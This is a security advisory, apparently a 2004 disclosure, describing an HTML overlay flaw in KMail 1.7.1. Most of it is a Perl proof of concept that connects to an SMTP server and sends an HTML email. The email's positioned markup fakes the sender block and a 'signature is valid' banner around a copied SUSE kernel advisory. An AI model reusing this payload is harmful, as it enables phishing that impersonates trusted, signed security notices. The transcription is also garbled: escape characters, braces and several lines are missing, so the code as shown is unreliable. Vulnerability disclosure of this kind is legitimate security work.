‘Kmail HTML Support Allows Spoofing of Emails’ Content’


KMail is ‘a fully-featured email client that fits nicely into the K Desktop Environment, KDE’.

A vulnerability in the way KMail handles HTML based emails allows remote attackers to spoof emails’ content by placing their content over the email frame thus disguising and replacing the actual content of the email.’


‘The information has been provided by Noam Rathaus.’


Vulnerable Systems:
 * KMail version 1.7.1 provided with KDE 3.3.2

A malicious person can craft an HTML email that would look as if it was:
1) Sent from someone else – minor impact
2) Signed/Encrypted while it is actually an ordinary HTML file – major impact

The HTML email can also overlap sections of the email that might be used to identify the sender/date/etc without requiring to change any of the actual information of the email… i.e. you don’t need to change the ‘MAIL FROM:’ / ‘FROM: ‘ entry to overwrite it via the HTML email.

1) HTML needs to be enabled – frequently people just enable HTML support
2) The color scheme needs to be guessed, if it has been changed from the default – not frequent

Don’t affect the vulnerability:
1) Adding the HTML warning tab on the left side of the email, just because its there, you don’t think it’s a spoofed email

CVE Information:

KDE Kmail Bug:
A bug entry for this vulnerability has been introduced: http://bugs.kde.org/show_bug.cgi?id=96020

#!/usr/bin/perl -w
# By Noam Rathaus – Beyond Security

use IO::Socket;
use strict;

my $Host = shift;

my $remote = IO::Socket::INET->new ( Proto => ‘tcp’, PeerAddr => $Host, PeerPort => ‘smtp’);

unless ($remote) { die ‘cannot connect to SMTP daemon on $Host’ }

print ‘connectedn’;

waitfor($remote, ‘220 ‘);

print ‘HELOn’;
print $remote ‘HELO whatever.comrn’;

waitfor($remote, ‘250 ‘);

print ‘MAIL FROMn’;
print $remote ‘MAIL FROM: test@whoever.comrn’;

waitfor($remote, ‘250 ‘);

print ‘RCPT TOn’;
print $remote ‘RCPT TO: testy@whoever.comrn’;

waitfor($remote, ‘250 ‘);

print ‘DATAn’;
print $remote ‘DATArn’;

waitfor($remote, ‘354 ‘);

print $remote <<_EOF_;
From: newone@whoever.comr
Subject: Test Caser
To: oldone@whoever.comr
Date: Mon, 27 Dec 2004 01:43:24 -0600r
MIME-version: 1.0r
Content-type: text/html; charset=’utf8’r
Content-transfer-encoding: 8bitr
<SPAN STYLE=’font-family: arial; position: absolute; left: 0px; top: 0px; background: white; width: 99%; margin-left: 10px; margin-top: 10px;’>r
<TABLE STYLE=’width: 100%; background: white; border: 1px solid; margin-left: auto; margin-right: auto;’ CELLSPACING=’0′ CELLPADDING=’2’>r
  <TD COLSPAN=’2′ STYLE=’background: #ffdd76;’><B>Microsoft Alert</B></TD>r
 <TR STYLE=’background: #eeeee6;’>r
  <TD WIDTH=’1’><B>From:</B></TD><TD><A HREF=’mailto:suse@suse.com’>suse@suse.com</A></TD>r
 <TR STYLE=’background: #eeeee6;’>r
  <TD><B>To:</B></TD><TD><A HREF=’mailto:test@whoever.com’>test@whoever.com</A></TD>r
 <TR STYLE=’background: #eeeee6;’>r
  <TD><B>Date:</B></TD><TD>2004-12-27 09:43</TD>r
<TABLE STYLE=’width: 99%; margin-left: 10px; background: white; border: 1px solid; border-color: #40FF40; margin-left: auto; margin-right: auto;’ CELLSPACING=’0′ CELLPADDING=’2’>
  <TD STYLE=’background: #40FF40;’><B>Message was signed by <A HREF=’mailto:security@suse.de’>SuSE Security Team <security@suse.de></A> (Key ID: 0x3D25D3D9).<BR>
  The signature is valid and the key is fully trusted.</B></TD>r
  <TD STYLE=’background: #e8ffe8;’>

                        SUSE Security Announcement

        Package: kernel
        Announcement-ID: SUSE-SA:2004:046
        Date: Wednesday, Dec 22nd 2004 16:00 MEST
        Affected products: 9.0 / AMD64
                                SUSE Linux Enterprise Server 8 / AMD64
        Vulnerability Type: local privilege escalation
        Severity (1-10): 8
        SUSE default package: yes
        Cross References: CAN-2004-1144

    Content of this advisory:
        1) security vulnerability resolved:
             – local root exploit in 2.4 AMD64 kernel
           problem description
        2) solution/workaround
        3) special instructions and notes
        4) package location and checksums
        5) pending vulnerabilities, solutions, workarounds:
            – see SUSE Security Summary
        6) standard appendix (further information)


1) problem description, brief discussion

    Due to missing argument checking in the 32 bit compatibility
    system call handler in the 2.4 Linux Kernel on the AMD64 platform
    a local attacker can gain root access using a simple program.

    This issue was found and fixed by Petr Vandrovec and has been
    assigned the Mitre CVE ID CAN-2004-1144.

    This is a 2.4 Kernel and AMD64 specific problem, other
    architectures and the 2.6 Kernel are not affected.

2) solution/workaround

    There is no workaround, please install the supplied kernels.

3) special instructions and notes

    The following paragraphs will guide you through the installation
    process in a step-by-step fashion. The character sequence ‘****’
    marks the beginning of a new paragraph. In some cases, the steps
    outlined in a particular paragraph may or may not be applicable
    to your situation.
    Therefore, please make sure to read through all of the steps below
    before attempting any of these procedures.
    All of the commands that need to be executed are required to be
    run as the superuser (root). Each step relies on the steps before
    it to complete successfully.

  **** Step 1: Determine the needed kernel type

    Please use the following command to find the kernel type that is
    installed on your system:

      rpm -qf /boot/vmlinuz

    Following are the possible kernel types (disregard the version and
    build number following the name separated by the ‘-‘ character)

      k_deflt # default kernel, good for most systems.
      k_i386 # kernel for older processors and chip sets
      k_athlon # kernel made specifically for AMD Athlon(tm) family processors
      k_psmp # kernel for Pentium-I dual processor systems
      k_smp # kernel for SMP systems (Pentium-II and above)
      k_smp4G # kernel for SMP systems which supports a maximum of 4G of RAM

  **** Step 2: Download the package for your system

    Please download the kernel RPM package for your distribution with the
    name as indicated by Step 1. The list of all kernel rpm packages is
    appended below. Note: The kernel-source package does not
    contain a binary kernel in bootable form. Instead, it contains the
    sources that the binary kernel rpm packages are created from. It can be
    used by administrators who have decided to build their own kernel.
    Since the kernel-source.rpm is an installable (compiled) package that
    contains sources for the linux kernel, it is not the source RPM for
    the kernel RPM binary packages.

    The kernel RPM binary packages for the distributions can be found at the
    locations below ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64.

    After downloading the kernel RPM package for your system, you should
    verify the authenticity of the kernel rpm package using the methods as
    listed in section 3) of each SUSE Security Announcement.

  **** Step 3: Installing your kernel rpm package

    Install the rpm package that you have downloaded in Steps 3 or 4 with
    the command
        rpm -Uhv –nodeps –force <K_FILE.RPM>
    where <K_FILE.RPM> is the name of the rpm package that you downloaded.

    Warning: After performing this step, your system will likely not be
             able to boot if the following steps have not been fully

    If you run SUSE LINUX 8.1 and haven’t applied the kernel update
    (SUSE-SA:2003:034), AND you are using the freeswan package, you also
    need to update the freeswan rpm as a dependency as offered
    by YOU (YaST Online Update). The package can be downloaded from

  **** Step 4: configuring and creating the initrd

    The initrd is a ramdisk that is loaded into the memory of your
    system together with the kernel boot image by the bootloader. The
    kernel uses the content of this ramdisk to execute commands that must
    be run before the kernel can mount its actual root filesystem. It is
    usually used to initialize SCSI drivers or NIC drivers for diskless

    The variable INITRD_MODULES in /etc/sysconfig/kernel determines
    which kernel modules will be loaded in the initrd before the kernel
    has mounted its actual root filesystem. The variable should contain
    your SCSI adapter (if any) or filesystem driver modules.

    With the installation of the new kernel, the initrd has to be
    re-packed with the update kernel modules. Please run the command


    as root to create a new init ramdisk (initrd) for your system.
    On SuSE Linux 8.1 and later, this is done automatically when the
    RPM is installed.

  **** Step 5: bootloader

    If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there
    are two options:
    Depending on your software configuration, you have either the lilo
    bootloader or the grub bootloader installed and initialized on your
    The grub bootloader does not require any further actions to be
    performed after the new kernel images have been moved in place by the
    rpm Update command.
    If you have a lilo bootloader installed and initialized, then the lilo
    program must be run as root. Use the command

      grep LOADER_TYPE /etc/sysconfig/bootloader

    to find out which boot loader is configured. If it is lilo, then you
    must run the lilo command as root. If grub is listed, then your system
    does not require any bootloader initialization.

    Warning: An improperly installed bootloader may render your system

  **** Step 6: reboot

    If all of the steps above have been successfully completed on your
    system, then the new kernel including the kernel modules and the
    initrd should be ready to boot. The system needs to be rebooted for
    the changes to become active. Please make sure that all steps have
    completed, then reboot using the command
        shutdown -r now
        init 6

    Your system should now shut down and reboot with the new kernel.

4) package location and checksums

    Please download the update package for your distribution and verify its
    integrity by the methods listed in section 3) of this announcement.
    Then, install the package using the command ‘rpm -Fhv file.rpm’ to apply
    the update.
    Our maintenance customers are being notified individually. The packages
    are being offered to install from the maintenance web.

    x86-64 Platform:

    SUSE Linux 9.0:
    source rpm(s):

5) Pending vulnerabilities in SUSE Distributions and Workarounds:

    See the SUSE Security Summary Report for more information.


6) standard appendix: authenticity verification, additional information

  – Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers all over
    the world. While this service is being considered valuable and important
    to the free and open source software community, many users wish to be
    sure about the origin of the package and its content before installing
    the package. There are two verification methods that can be used
    independently from each other to prove the authenticity of a downloaded
    file or rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum <name-of-the-file.rpm>
       after you downloaded the file from a SUSE ftp server or its mirrors.
       Then, compare the resulting md5sum with the one that is listed in the
       announcement. Since the announcement containing the checksums is
       cryptographically signed (usually using the key security@suse.de),
       the checksums show proof of the authenticity of the package.
       We disrecommend to subscribe to security lists which cause the
       email message containing the announcement to be modified so that
       the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v –checksig <file.rpm>
       to verify the signature of the package, where <file.rpm> is the
       filename of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an un-installed rpm
       package file.
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user’s home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file (‘announcement.txt’) and
           running the command (do ‘su -‘ to be root):
            gpg –batch; gpg < announcement.txt | gpg –import
           SUSE Linux distributions version 7.1 and thereafter install the
           key ‘build@suse.de’ upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .

  – SUSE runs two security mailing lists to which any interested party may

        – general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to

        – SUSE’s announce-only mailing list.
            Only SUSE’s security announcements are sent to this list.
            To subscribe, send an email to

    For general information or the frequently asked questions (FAQ)
    send mail to:
        <suse-security-info@suse.com> or
        <suse-security-faq@suse.com> respectively.

    SUSE’s security contact is <security@suse.com> or <security@suse.de>.
    The <security@suse.de> public key is listed below.

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature shows proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID Date User ID
pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security@suse.de>
pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build@suse.de>

Version: GnuPG v1.0.7 (GNU/Linux)

  <TD STYLE=’background: #40FF40;’><B>End of signed message</B></TD>

waitfor($remote, ‘250 ‘);

close ($remote);

sub waitfor
 my ($socket, $WaitFor) = @_;

 while (<$socket>)
  print $_;
  if (/$WaitFor/)

Categories: UNIX